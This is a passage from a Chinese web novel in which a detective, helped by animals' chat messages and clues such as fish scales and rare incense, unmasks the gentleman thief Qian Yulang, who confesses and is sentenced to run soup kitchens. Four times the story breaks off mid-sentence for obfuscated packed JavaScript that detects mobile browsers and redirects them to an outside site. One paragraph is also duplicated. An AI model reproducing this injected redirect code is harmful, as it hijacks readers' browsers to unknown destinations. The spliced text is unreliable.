不对,穆青青灵光一闪:如果高瘦的那个并不是孙猴子呢?从始至终,小动物们看到的都是同一个人呢? 穆青青越想越觉得这个可能性大。 那到底什么样的人才能让自己忽胖忽瘦,忽高忽矮呢? 这世上有这种武功吗? 此外还有那细绳印痕。三个现场都有,都是同一种细绳勒过留下的。 那贼用绳子做什么?翻窗?可窗户是从里面闩上的,他怎么进去的? 穆青青想到一个可能:他用细绳套住窗闩,从外面一拉,闩子就开了。进去之后,再把窗闩恢复原样。 可这需要极高的技巧,不是一般人能练出来的。 对了,还有那片鱼鳞。 穆青青从怀里掏出那个小油纸包,打开,借着月光看了看。 鱼鳞很小,银白色,边缘有些卷曲,在月光下微微反光。 赵府后院有锦鲤池,可锦鲤的鳞片比这大,颜色也不一样。这鱼鳞是哪来的? 她想不明白。 不知不觉,已经到了甜水巷口。 巷子里很静,家家户户都熄了灯,只有巷子最里头那户还亮着一点昏黄的光,是赵家老太太的屋子。她夜里睡不着,常在灯下做针线。 墙头上蹲着一个毛茸茸的影子,是狸花猫。 它看见穆青青,轻轻“喵”了一声,从墙头跳下来,跟在她脚边往院子里走。 光幕亮了。 【甜水巷(当前在线:4)】 狸花猫:【喵……你今天回来得真晚。】 隔壁黄狗:【汪!我的肉骨头啃完了,好想再啃一根!】 檐下麻雀:【啾啾!我饿了,今天没吃饱……】 狸花猫:【喵……谁让你白天偷懒不去找吃的。】 檐下麻雀:【啾!我去找了!可那家饭馆今天没往外扔剩饭!】 隔壁黄狗:【汪!我听见巷口那家烧饼铺子半夜还在和面,明天肯定有新烧饼!】 穆青青看着这几行字,嘴角微微弯了一下。 正要推门进去,光幕又亮了。 狸花猫:【喵……巷口那棵老槐树底下,今天有片亮晶晶的东西,不知道是啥。】 隔壁黄狗:【汪!亮晶晶的?是不是肉骨头?】 狸花猫:【喵……不是,比肉骨头小多了,薄薄的,像片小叶子,银白色的,在月光下反光。本喵凑过去闻了闻,有股腥味儿。】 檐下麻雀:【啾!腥味儿?是不是鱼?猫不是最喜欢吃鱼了嘛!】 狸花猫:【喵……不是鱼,就一小片。不知道是哪儿来的。】 穆青青脚步微微一顿。 银白色的,薄薄的,有股腥味儿。 鱼鳞? 她想起赵府墙角捡到的那片鱼鳞。 也是银白色,很小一片。 狸花猫说的那片,会不会也是鱼鳞?如果是,怎么会掉在槐树底下? 她看了一眼墙头的狸花猫,它已经跳下墙头,钻进自己的窝里去了。 光幕上传来最后一句:【喵……困了,明天再说。】 穆青青站在院子里,看着那个小小的猫窝,心里忽然有些在意。 那片鱼鳞,和赵府的那片,会不会有关系? 第二天一早,穆青青没有直接去六扇门,而是先去了巷口那棵老槐树底下。 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315915|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槐树在巷子东头,树干很粗,要两人才能合抱。树底下落了一层枯叶,被夜露打得湿漉漉的。她蹲下身,拨开枯叶,仔细寻找。 果然,在一片叶子下面,她发现了一小片银白色的东西。 鱼鳞。 和赵府墙角捡到的那片一模一样,大小、颜色、边缘卷曲的程度,都像是同一种鱼。 穆青青小心地用镊子夹起来,包好。 她站起身,四处看了看。老槐树周围没有什么特别的地方,往前是巷口,往后是几户人家。谁会把鱼鳞掉在这里? 她想起昨晚狸花猫说的“在月光下反光”。 如果是白天掉的,老槐树下傍晚的时候很多人在这乘凉的,小小一片鱼鳞可能已经被人踩到泥里看不见了。 所以很大可能是在夜里掉的,而且是不久之前。 梅花大盗来过这里? 穆青青的心跳快了起来。 她没有声张,转身回了院子。 狸花猫正蹲在墙头晒太阳,见她回来,懒洋洋地喵了一声。 光幕上:【喵……你刚才去槐树那儿干嘛?】 穆青青从袖中摸出一块肉干,放在墙头。 狸花猫跳下来,低头嗅了嗅,小口小口地吃起来。 穆青青蹲下身,看着它:“你昨晚说的那片亮晶晶的东西,是鱼鳞。你知道它是哪儿来的吗?” 狸花猫歪着脑袋,似乎在努力回想。 光幕上:【喵……不知道。本喵晚上去槐树那儿捉老鼠,看见地上有片亮晶晶的,就看了一眼。没见着是谁掉的。】 穆青青又问:“那这几天,你有没有在巷子里见过什么奇怪的人?比如身上有怪味儿的?” 狸花猫舔舔爪子,想了想。 光幕上:【喵……有。前天有个矮矮胖胖的人,在巷口转悠过。身上有股味儿,像是什么花,又像是什么药,反正不好闻。本喵不喜欢。】 穆青青心里一动:“他长什么样?” 狸花猫:【喵……穿灰衣裳,戴个帽子,看不清脸。在巷口那棵老槐树下蹲了很久,东张西望的。后来往东边去了。】 东边? 穆青青想了想,东边是一条小街,小街上有一家杂货铺,一家烧饼铺,再往东是一片杂乱的棚户区。 可那人身上有怪味儿,她忽然想起,三个现场的香灰还没查清来源呢。 穆青青站起身,对狸花猫道:“谢谢你。” 狸花猫歪着脑袋看她。 光幕上:【喵……谢什么?肉干就行。】 穆青青笑了笑,又从袖中摸出一块肉干,放在它面前。 狸花猫低头嗅了嗅,继续吃起来。 穆青青转身出了巷子,往东边走去。 她没有直接去追查那个“矮矮胖胖”的人,而是先去了卖鱼的地方。 那片鱼鳞是关键。 75. 浮出水面(1) 穆青青带着那片鱼鳞,去了京城最大的鱼市。 鱼市在城南,天不亮就开始热闹。她找到几个老鱼贩,把那片鱼鳞给他们看。 一个头发花白的老鱼贩接过,对着光看了半天,道:“这是海鱼,银鲳,产自东海。京城不靠海,这种鱼都是快马运来的,贵得很,一般人家吃不起。” 穆青青问:“这种鱼,大概多少钱一条?” 老鱼贩道:“便宜的也得二三两银子,大的要五六两。能常吃这种鱼的,要么是达官贵人,要么是富商巨贾,寻常百姓一年也吃不上一回。” 穆青青心里有了数。 能常吃这种鱼的,非富即贵。 可梅花大盗作案时得爬墙钻窗,甚至有可能钻洞的,怎么看也不像富贵人家的做派啊。 她谢过老鱼贩,又去了几家卖香料的铺子。 带着案发现场发现的那点香灰。 “沉水香”虽然昂贵,但并不少见,很多大型香料铺里都有这种香卖,不过在城东一家叫“宝香阁”的大铺子里,掌柜认出了这是他家才有的高品质“沉水香”。 “这种‘沉水香’与一般产自岭南的不同,是我们当家的在更南边儿的商人那儿订的货,那些海商快则半年,慢则数年才会来咱们大曜王朝一次,还不是每次都能碰到这种品质的“沉水香”,十分难得,一克就要十两银子。”掌柜道,“能用得起这种香的,要么是大户人家的女眷,要么是……那些讲究生活品味的富贵闲人。寻常人家可用不起。” 又是富贵人家。 穆青青心里那个念头越来越清晰。 这个梅花大盗,不仅功夫好,脑子好,还很有钱。 他作案多半不是为了钱,那是为了什么呢? 她又忍不住想起那三张字条上的字迹,笔走龙蛇,气势张扬。那朵梅花画得圆滚滚的,透着股得意劲儿。 像是一个人在玩一场游戏。 穆青青回到六扇门,把查到的线索整理了一遍。 鱼鳞——东海银鲳,富贵人家才能常吃。 香灰——沉水香,一克十两银子,同样富贵人家才能用。 细绳印痕——需要极高的技巧,非一日之功。 这个人,有钱,有闲,有耐心,还有天赋。 穆青青把自己的想法告诉了寇晟。 寇晟听完,沉默了一会儿,道:“富贵人家……京城富户成千上万,这怎么查?” 穆青青道:“查那些能接触到三公之家信息的。周、赵、林三家,都是朝中显贵,他们家的宝贝藏在哪儿,不是随便什么人都能知道的。能知道这些的,要么是他们家的亲戚故旧,要么是……” 她顿了顿,道:“要么是和他们家来往密切的人。” 寇晟点点头,立刻派人去查三公府上近半年的访客记录。 这工程量很大,但六扇门的人手多,三天后,一份长长的名单送到了穆青青面前。 名单上有上百个人名,都是去过三公府上的客人。有官员,有富商,有亲戚,有朋友。 穆青青一个一个看过去,把那些明显不可能的人排除掉,比如说七老八十的、身有残疾的、外地的、穷得叮当响的,还有案发时不在京城本地的。 最后剩下了二十几个人。 她把这二十几个人的背景资料调出来,仔细翻看。 有一个人的资料,让她停了下来。 “钱玉郎,二十四岁,江南首富钱万贯独子。其姐嫁与兵部尚书赵广德为妻,姐弟相差十八岁,自幼由姐姐抚养长大,感情极深,赵府上下皆称其为‘小舅爷’。钱玉郎自幼习武,好游侠,不喜经商,常年混迹京城,与周、赵、林三家皆有往来。” 穆青青看着这段文字,眉头皱了起来。 兵部尚书赵广德的妻弟。 也就是说,赵府那柄古剑的主人,是他姐夫。 这人怎么可能偷自己姐夫家的东西? 穆青青把这份资料放到一边,继续往下看。可不知为什么,钱玉郎这个名字总在她脑子里转。 有钱,习武,和三公府上有往来。 符合前两条,可第三条……他是赵家的亲戚,应该不会偷自己家吧? 可她转念一想,周府、林府不是他家啊。 穆青青又把他的资料拿回来,仔细看了一遍。 “钱玉郎在京城有私宅一处,位于城东甜水巷附近……” 甜水巷附近? 穆青青的心跳快了起来。 她想起狸花猫说的那个“矮矮胖胖、身上有怪味儿”的人,后来往东边去了。东边那片区域,正好包括钱玉郎的私宅。 她又想起鱼贩说的,常吃银鲳的是富贵人家。钱玉郎家里那么有钱,吃银鲳根本不算什么。 还有沉水香,一克十两银子,对钱家来说也就是个零花钱。 穆青青盯着那份资料,看了很久。 理智告诉她,钱玉郎不可能是贼,他毕竟是赵尚书的妻弟,怎么可能偷自己姐夫家的东西?那柄古剑,他小时候说不定还玩过呢。 可直觉告诉她,这个人太符合了。 有钱,有闲,有功夫,和三公府上熟悉。 穆青青把这份资料递给寇晟。 寇晟看完,也皱起眉头:“钱万贯的儿子?还是赵尚书的妻弟?这……不太可能吧。他要想偷赵家的剑,什么时候不能偷?何必闹出这么大动静?” 穆青青道:“我也觉得不可能。可那个飞贼的每个特征他都符合,确实值得怀疑。” 寇晟沉吟道:“你想怎么查?” 穆青青想了想,道:“我想去他私宅附近看看。” 第二天,穆青青换上便装,去了城东那条巷子。 钱玉郎的私宅在一条僻静的小巷里,门脸不大,但收拾得很精致。黑漆大门,铜环锃亮,门口种着一棵桂花树,正开着花,香气飘得老远。 穆青青没有靠近,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324737|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在离得有些远,但视野正对着钱府的茶馆里找了个位置,要了一壶茶,慢慢喝着。 她坐了一个下午,钱玉郎始终没有出现。 倒是巷子里的小动物们,在光幕上聊得热闹。 穆青青没有靠近,而是在巷子对面的茶馆里找了个位置,要了一壶茶,慢慢喝着。 她坐了一个下午,钱玉郎始终没有出现。 倒是巷子里的小动物们,在光幕上聊得热闹。 【城东·桂花巷(当前在线:5)】 麻雀叽叽:【啾!今天运气好,那边地上掉了半块糕!】 麻雀喳喳:【啾啾!在哪儿在哪儿?别自己吃独食!】 三花花儿:【喵……吵死了,本喵要睡觉。】 钱府后院追风:【汪……主人今天出门又不带我,无聊死了。什么时候才能出去跑一跑……】 麻雀叽叽:【啾!那只大狗又在念叨了,天天念叨,耳朵都要起茧子了。】 钱府后院追风:【汪!你不懂本汪的悲伤!我已经好多天没出去玩啦!哼哼,主人倒好,经常半夜偷偷溜出去玩,也不带我!】 三花花儿:【喵……本喵知道为什么不带你,因为你太傻了,还啰嗦……】 钱府后院追风:【汪!你才傻!傻喵!我主人夸过我的,说我可聪明啦……我跑得还可快啦!】 麻雀喳喳:【啾啾!追风?这名字好威风啊!】 钱府后院追风:【汪!那是我主人给起的大名,威风是威风,但我自己更喜欢香香女主人给我取的那个名字。】 麻雀叽叽:【啾?什么名字?】 钱府后院追风:【汪!叫“大牙”!听着就凶,谁敢惹我?】 三花花儿:【喵……大牙?哈哈哈哈笑死本喵了,你叫大牙?】 钱府后院追风:【汪!笑什么!大牙多霸气!一口咬下去,敌人嗷嗷叫!】 麻雀喳喳:【啾啾……大牙……确实挺……挺威风的……】 麻雀叽叽:【啾!对对对,威风极了……】 三花花儿:【喵……行吧行吧,大牙就大牙,你继续念叨你主人吧,本喵要睡了。】 穆青青看着这几行字,一口茶差点喷出来。 大牙。 这名字…… 她忍着笑,继续慢慢喝茶。 太阳西斜,桂花巷里陆续亮起灯火。 那扇黑漆大门始终没有开。 穆青青继续等。 天快黑的时候,一辆马车停在钱家门口。 车帘掀开,一个年轻男子跳下来。 二十四五岁年纪,身材修长,穿着一身月白长衫,面容俊朗,眉眼间带着一股玩世不恭的笑意。他站在门口,抬头看了看天,然后推门进去。 穆青青盯着那个背影,心里忽然有一个强烈的直觉。 就是他。 可他的身形,既不矮也不胖,和狸花猫描述的“矮矮胖胖”完全不一样。 76. 浮出水面(2) 穆青青想了想,没有急着走,继续坐着。 天黑透了。 茶馆都要打烊了,穆青青才起身结账。 正要离开,光幕忽然又亮了。 【城东·桂花巷(当前在线:3)】 麻雀叽叽:【啾!那个两脚兽出来了!哈哈,果然又没带上大牙。】 三花花儿:【喵……谁啊?】 麻雀喳喳:【啾!就是大牙家里那个!啾啾~他怎么和白天的时候看着不一样了?不过我闻得出来是他!】 穆青青脚步一顿。 她转身就往巷子后面绕去。 前门她一直盯着,根本没人出来,所以他走的肯定是后门。 钱家的后门通着一条窄巷。穆青青摸黑走过去,刚到巷口,就看见一个人影从那巷口闪出来。 矮矮胖胖的个头,灰布衣裳,戴着帽子。 这人不是钱玉郎,却和狸花猫,还有鱼贩、香料铺掌柜描述过的那个人外形特征相似! 穆青青脑中灵光一闪。 难道,这人是钱玉郎的手下?还是……他就是钱玉郎本人? 有可能,既然钱玉郎的轻功很好,那他也可能会易容术,甚至是传说中的锁骨术。 她没有惊动他,悄悄跟了上去。 那人走得不快,但很稳,穿过几条巷子,来到一片废弃的老宅区。这里房子破败,杂草丛生,显然很久没人住了。 他停在一座老宅前,四处看了看,然后推门进去。 穆青青等了一会儿,悄悄摸到窗下,从破洞里往里看。 屋里点着一盏油灯,昏黄的光映出那人的脸。 居然真的是钱玉郎。 可他的身形已经变了。不再是那个修长的年轻公子,而是矮了一截,胖了一圈,像个圆滚滚的球。 穆青青瞪大眼睛,看着他脱下灰布衣裳,从衣服里掏出几团棉絮一样的东西扔在一旁。然后他站起身,活动了一下筋骨,身形“咔咔”几声,又变回了原来的样子。 原来如此。 穆青青一下子全都想明白了。 钱玉郎用棉絮一样的东西把自己塞胖,再用缩骨功把自己变矮。 那个“矮矮胖胖”的形象,就是这么来的。 穆青青的心砰砰跳了起来。 她看见钱玉郎从角落里拖出一个木箱,打开,里面是一套黑色的夜行衣,几根细绳,还有一个小巧的金属爪钩。他拿起那些细绳,仔细检查了一遍,又放回去。 然后又从箱子底层取出一个小瓷罐,打开,倒出一些香粉——正是沉水香。 他在准备下一次行动。 穆青青没有动,继续看着。 钱玉郎把东西收拾好,又换回那身灰布衣裳,把棉絮塞回衣服里,缩骨变回那个“矮矮胖胖”的形象,推门出来。 穆青青悄悄退后,隐在暗处。 钱玉郎锁好门,往巷子深处走去。走了几步,他忽然停下来,回过头,朝穆青青藏身的方向看了一眼。 月光下,那张脸带着一丝笑意。 “跟了这么久,不出来聊聊?” 穆青青心里一惊。 她没有动。 钱玉郎笑了笑,又道:“甜水巷那位穆捕头,对吧?我在茶馆里看见你了。坐了一下午,就盯着我家门口看。” 穆青青知道藏不住了。 她从暗处走出来,站在月光下,看着他。 钱玉郎歪着脑袋打量她,那眼神里没有害怕,只有好奇,还有一点……欣赏? “你比我想象中的厉害。”他说,“这么快就找到我了。” 穆青青盯着他:“那三件东西,是你偷的?” 钱玉郎点头,坦然得让人意外。 “是我。” “周府的梅花砚,赵府的古剑,林府的《江山万里图》,都是你偷的?” 钱玉郎又点头:“对。” 穆青青看着他,忽然不知道该说什么了。 这人被抓了个现行,居然一点也不慌,还主动承认,像是……在炫耀? 她深吸一口气,问出了一个最困惑的问题:“赵府那柄古剑是你姐夫家的东西。你怎么连自己家也偷?” 钱玉郎愣了一下,随即笑了。 那笑容里透着股孩子气的得意。 “正因为是我姐夫家,才更要偷啊。” 穆青青愣住了。 钱玉郎摊开手,一副理所当然的样子:“你想想,周府、林府,那都是外人。外人家的东西,偷了也就偷了。可姐夫家的东西,我从小在那儿长大,那柄剑我小时候还玩过,知道它放在哪儿,知道怎么避开人,知道哪天晚上府里人最少。这么容易的事,不偷一次,多可惜?” 穆青青听着这番话,简直不知道该说什么。 这人……这人的脑子是怎么长的? 钱玉郎见她愣住,笑得更开心了。 “再说了,”他补充道,“偷自己家,才能证明我本事大啊。外人家的东西,偷了人家也不知道是谁偷的。可姐夫家的东西,我姐夫要是知道我偷了他宝贝,还一直没抓住我,那才叫本事呢。” 穆青青沉默了一会儿,问:“你偷这些东西,不是为了钱?” 钱玉郎像被侮辱了似的,瞪大眼睛:“钱?我缺钱?我家的钱堆起来能填平护城河,我要那几件破东西干嘛?我就是想试试,能不能偷到。” 穆青青又问:“那你偷完之后呢?打算怎么处理?” 钱玉郎道:“玩够了就还回去呗。我就是想看看,三公府上的戒备有多森严,我能不能神不知鬼不觉地进去。事实证明,也就那样吧。” 他说这话的时候,语气里带着一丝不屑,还有一丝寂寞。 穆青青看着他,忽然有些理解他了。 一个有钱到极点的人,一个天赋极高的人,一个什么都玩腻了的人,偷东西可能确实比吃喝玩乐刺激多了吧。 可理解归理解,案子归案子。 穆青青道:“你知不知道,你这一‘玩’,六扇门上上下下忙了半个月,三公府上人心惶惶,连刑部都惊动了?” 钱玉郎点头:“知道啊。所以我不是留了字条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329659|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?让他们知道是谁偷的,省得他们瞎猜。” 穆青青深吸一口气:“那你打算怎么办?” 钱玉郎看着她,忽然笑了。 “你抓我啊。”他说,“我就在这儿,你来抓。” 穆青青盯着他,没有动。 钱玉郎歪着脑袋,等了一会儿,见她不说话,又道:“不抓?那我可走了。” 他转身,慢悠悠往巷子深处走去。 穆青青忽然道:“等等。” 钱玉郎停住脚步,回过头。 穆青青从腰间摸出响箭,用力一拉。 “咻——啪!” 尖锐的啸叫声划破夜空。 钱玉郎看着那朵在夜空中炸开的红色烟火,非但不跑,反而笑了。 “这才对嘛。”他说,“抓贼就该有抓贼的样子。” 他站在原地,等着。 不到一盏茶功夫,四面八方响起了急促的脚步声。寇晟第一个冲进来,身后跟着赵统领、余肖红、林霜、郑三、韩大虎,还有十几个捕快,把整条巷子围得水泄不通。 钱玉郎看着这阵仗,满意地点点头:“人不少,够热闹。” 寇晟盯着他,沉声道:“你是何人?” 钱玉郎大大方方道:“钱玉郎,江南钱家独子。那三件东西是我偷的,字条是我留的,你们要找的就是我。” 寇晟愣了一下,显然没想到这人会这么痛快。 钱玉郎又道:“别愣着了,抓我吧。我还等着看你们怎么处置我呢。” 寇晟挥了挥手,几个捕快上前,把钱玉郎绑了。 他被押走的时候,回头看了穆青青一眼,笑了笑,道:“穆捕头,有空来我家喝茶。我家有好茶,比六扇门的强多了。” 穆青青站在原地,看着他的背影消失在夜色里。 墙头上,几只爱看热闹的猫蹲成一排,齐刷刷地看着她。 光幕亮了。 【废弃老宅(当前在线:5)】 墙头小狸花:【喵……这是在做啥?】 墙头小橘喵:【喵!我看见有两脚兽在笑,可能他们是在玩游戏!】 麻雀叽叽:【啾!笑的那个两脚兽有点眼熟,好像在哪儿见到过!】 流浪小黄狗:【汪汪!管他呢,本汪只想能捡到一根大骨头吃!有肉的话就更好了!】 墙头橘猫:【喵呜……有个两脚兽刚才放的那个东西,好响,吓死本喵了。】 穆青青看着这几行字,忍不住笑了。 她从袖中摸出一大把肉干,放在墙根底下。 “给你们压压惊惊。” 几只猫齐刷刷跳下来,围成一圈,小口小口地吃起来。 寇晟居然也没走,见穆青青喂猫,走过来站在她身边,看着那群猫,忽然道:“这些狸奴都是你养的?” 穆青青摇头:“不是。它们都是些流浪猫。” 顿了一下她又忍不住说:“它们都很厉害。” 寇晟看了她一眼,没再问。 月光下,那群猫吃得心满意足,尾巴一摇一摇。 77. 浮出水面(3) 钱玉郎被押回六扇门后,审讯进行得异常顺利。 他几乎是有问必答,连细节都交代得清清楚楚。 “周府的梅花砚,我是从东墙翻进去的。那天夜里下着小雨,守夜的人躲在廊下打盹,我从他们头顶上翻过去,一点声音都没出。” “赵府的古剑,我先去踩了点,我对我姐夫家很熟,知道后院养着狗,就提前准备了肉包子。那天夜里我先扔了几个肉包子,等狗吃饱了睡着才动手。” “林府的《江山万里图》,最难。他们家有暗格,我知道位置,也知道怎么开,小时候在他家玩的时候,无意听到过管家和林国舅说话,知道机关在书架第三层的一本书后面。” 寇晟问:“你怎么知道这些消息的?” 钱玉郎道:“我爹和他们家有生意往来。周家、林家,我都去过。至于赵府,那是我姐夫家,我从小在那儿长大,闭着眼睛都能走。” 他说这话的时候,脸上还带着一丝得意。 寇晟沉默了一会儿,问:“你偷自己姐夫家的东西,心里不亏?” 钱玉郎眨眨眼,道:“亏什么?我又没打算昧下。玩够了就还回去,我姐夫肯定不会怪我。” 审讯室里一片沉默。 这人的逻辑,简直让人无话可说。 案子审完了,可怎么处置,成了难题。 按律,盗窃三公府邸,该当重罪,至少流放三千里,弄不好要杀头。 可钱玉郎是江南首富的独子,又是兵部尚书的妻弟。钱家富可敌国,朝中许多官员都和他家有来往。真要重判,钱家那边不好交代,赵尚书那边也不好交代。 而且他偷的东西,一样没丢,全都完好无损地放在他那间废弃老宅里,等着“玩够了就还回去”。 寇晟把案子报给刑部,刑部也觉得棘手,最后报到御前。 皇帝看了卷宗,沉默了很久。 然后他笑了。 “这人有点意思。”他说,“偷东西不为财,就为了好玩。偷完之后还打算还回去,还留字条提前预示,这是把朕的三公当猴耍呢?” 底下的大臣们都不敢吭声。 皇帝想了想,道:“按律该重判。可他没伤人,没毁物,偷的东西也全须全尾地还回来了。真要杀头,显得朕太小气。” 他顿了顿,道:“这样吧,让他赔钱。” 大臣们愣住了。 皇帝道:“周家那方砚台,值多少钱,让他赔双倍。赵家那柄古剑,值多少钱,让他赔双倍。林家那幅画,值多少钱,让他赔双倍。三公受了惊吓,每家再赔一万两压惊银子。总共……算下来,大概十万两吧。” 十万两,对钱家来说,九牛一毛。 可皇帝还有后话。 “再让他写一份公告,贴在京城各城门,把自己干的事一五一十写清楚,落款要写上‘罪人钱玉郎’五个大字。公告要贴满一个月,让全京城的人都看看,偷东西是什么下场。” 大臣们面面相觑。 这处罚,不疼不痒的。 皇帝又道:“还有,他既然这么闲,这么有本事,那就让他做点好事赎罪。从今往后,在京城东西南北四城各设一处施粥铺,由他出钱出人,每日供应两餐,给京城穷苦百姓。这施粥铺,要开三年。” 大臣们终于明白了。 皇帝这是在用钱玉郎的钱,给朝廷做善事。 既罚了他,又让百姓得了实惠,还显得皇家宽仁。 一箭三雕。 钱玉郎接到判决时,愣了一下。 然后他笑了。 “行。”他说,“赔钱就赔钱,贴公告就贴公告,施粥铺就施粥铺。反正我家有钱,这点事不算什么。” 他顿了顿,又道:“不过贴公告的时候,能不能在最后加一句——‘梅花大盗到此一游’?” 寇晟瞪了他一眼。 钱玉郎识趣地闭上嘴。 一个月后,京城各城门贴满了告示。 告示上详细写着钱玉郎如何偷走三公家的宝物,如何留字条预告,如何被抓,如何被罚。落款处,工工整整写着“罪人钱玉郎”五个大字。 围观的百姓里三层外三层,看得津津有味。 “原来梅花大盗长这样啊?” “不是说他能缩骨吗?怎么告示上没写?” “这人脑子有病吧?这么有钱还偷东西?” “有钱人家的公子哥,闲得慌呗。” 钱玉郎本人也混在人群里,听着这些议论,脸上带着一丝笑意。 有人认出他来,惊呼道:“这不是钱公子吗?” 钱玉郎摆摆手,笑道:“别叫我钱公子,叫我罪人。” 人群里爆发出一阵哄笑。 与此同时,京城四城的施粥铺也开张了。 钱玉郎亲自选址,亲自雇人,亲自盯着熬粥。粥熬得稠,米放得足,每人一大碗,还配两个馒头。 第一天开张,四城排起了长队。 有老人,有小孩,有衣衫褴褛的乞丐,有面黄肌瘦的妇人。他们端着碗,蹲在路边,一口一口喝着热粥,脸上带着满足的笑容。 钱玉郎站在粥棚里,看着那些喝粥的人,忽然有些恍惚。 他从小到大,吃过无数山珍海味,从没想过,一碗普通的粥,能让这么多人露出这样的表情。 有个老太太喝完粥,颤颤巍巍走过来,拉着他的手,连声道谢。 “公子,你是个好人啊!老天保佑你长命百岁!” 钱玉郎愣了一下,不知道该说什么。 老太太又絮叨了几句,才蹒跚着走了。 钱玉郎站在原地,看着她的背影,半天没动。 过了很久,他忽然笑了。 那笑容和以前不一样,不再是玩世不恭的得意,而是一种说不清的东西。 施粥铺开张半个月后,穆青青去了一趟城东的粥棚。 钱玉郎正在那里亲自舀粥,一勺一勺,稳稳当当,动作熟练得很。看见穆青青,他眼睛一亮,放下勺子就迎上来。 “穆捕头!来喝粥?我给你盛一碗,多放点米!” 穆青青摆摆手:“不是来喝粥的。路过,看看。” 钱玉郎笑了笑,道:“那正好,我有话跟你说。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333589|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他拉着穆青青走到一旁,压低声音道:“那个……我想拜托你一件事。” 穆青青看着他。 钱玉郎道:“我那间老宅里,还有几样东西。是我以前练手的时候偷的,不值钱,但都是我费了心思的。你帮我送回去吧,别留着了。” 穆青青愣了一下:“你自己怎么不送?” 钱玉郎摊开手:“我现在是‘罪人’,出门一堆人盯着,不方便。” 穆青青看着他,忽然有些想笑。 这人,到现在还惦记着那些“战利品”。 她点点头:“行。都有哪些人家?” 钱玉郎从袖子里掏出一张纸,递给她。 纸上密密麻麻写着一串名字,有官员,有富商,还有……钱家自己。 穆青青看着最后一行字,愣住了。 “钱府,传家玉如意一柄。” 她抬起头,看着钱玉郎。 钱玉郎笑了笑,道:“对,我家我也偷过。那玉如意是我娘的嫁妆,我小时候老想玩,她不让。后来我练成了缩骨功,第一个就偷了它。” 穆青青不知道该说什么。 钱玉郎又道:“你放心,这个不用你帮我还回去,我偷完之后就还回去了,我娘到现在都不知道。” 穆青青把那张纸收好,看着他,忽然问:“你这三年,打算一直在这儿舀粥?” 钱玉郎点点头:“对啊。陛下定的规矩,我总得守吧。” 穆青青沉默了一会儿,道:“其实……你做的这些,挺好的。” 钱玉郎愣了一下,随即笑了。 那笑容里,透着点不好意思。 “是么?我也觉得。” 他顿了顿,又道:“穆捕头,以后有空常来。我这儿的粥可不是那种清汤寡水的稀饭水,管饱。” 穆青青笑了笑,转身走了。 走出粥棚,阳光正好,照在身上暖洋洋的。 墙头上蹲着一只狸花猫,歪着脑袋看她。 光幕亮了。 【城东·粥棚(当前在线:4)】 墙头狸花:【喵……那个两脚兽走了。】 檐下麻雀:【啾!她刚才和那个管饭的两脚兽说话来着,说什么了?】 流浪小黄狗:【汪!管他说什么呢,反正我今天又蹭到一碗粥,可香了!】 穆青青看着那几行字,忍不住笑了。 她从袖中摸出一块肉干,放在墙根底下。 狸花猫跳下来,低头嗅了嗅,小口小口地吃起来。 穆青青转身,往甜水巷走去。 走了几步,她忽然停下来,回头看了一眼。 粥棚里,钱玉郎还在舀粥,一勺一勺,稳稳当当。排队的百姓端着碗,脸上带着笑。 阳光照在他身上,镀上一层淡淡的金边。 穆青青收回目光,继续往前走。 案子结了。 贼抓到了,东西还了,处罚也定了。 梅花大盗变成了粥棚掌柜,成了京城穷苦百姓口中的“大善人”。 这事说出去,没人信。 可它就是真的。 78. 新话本 梅花大盗的案子尘埃落定后,京城难得清静了几日。 穆青青的生活渐渐有了规律。 每日辰时去六扇门点卯,处理些鸡毛蒜皮的小案子,午后若无急事便可以回家写她的《沈园旧事》。 《沈园旧事》就是她在进京路上开始写的那本长篇话本,断断续续写了三个多月,终于接近尾声。 小荷把甜水巷的小院收拾得井井有条。 院里种了两盆茉莉,墙根搭了个简易的猫窝,是穆青青特意给那几只常来的野猫准备的。有一只玳瑁猫每天傍晚准时出现在墙头,蹲在墙根等投喂。 